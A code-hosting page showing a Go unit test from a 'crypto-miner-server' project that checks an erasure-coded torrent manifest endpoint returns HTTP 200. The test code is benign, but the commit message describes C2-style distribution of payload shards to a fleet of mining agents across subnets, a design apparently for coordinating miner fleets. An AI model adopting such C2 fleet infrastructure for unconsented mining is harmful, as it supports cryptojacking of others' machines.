Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
41 lines
1.1 KiB
Go
41 lines
1.1 KiB
Go
package api
|
|
|
|
import (
|
|
"context"
|
|
"net/http/httptest"
|
|
"testing"
|
|
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/erasure"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
func TestErasureTorrentManifestEndpoint(t *testing.T) {
|
|
database, err := db.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
store := erasure.NewShardStore()
|
|
p, _ := erasure.DefaultParams().Normalize()
|
|
payload := []byte("torrent-manifest-payload-bytes!!")
|
|
shards, _, err := erasure.Encode(payload, p)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
store.Put("manifest-tok", p, shards)
|
|
h := NewPublicHandler(database, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
|
|
h.BindErasureShardStore(store)
|
|
|
|
req := httptest.NewRequest("GET", "/public/erasure-torrent/manifest-tok/manifest", nil)
|
|
rctx := chi.NewRouteContext()
|
|
rctx.URLParams.Add("token", "manifest-tok")
|
|
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
|
rec := httptest.NewRecorder()
|
|
h.ErasureTorrentManifest(rec, req)
|
|
if rec.Code != 200 {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|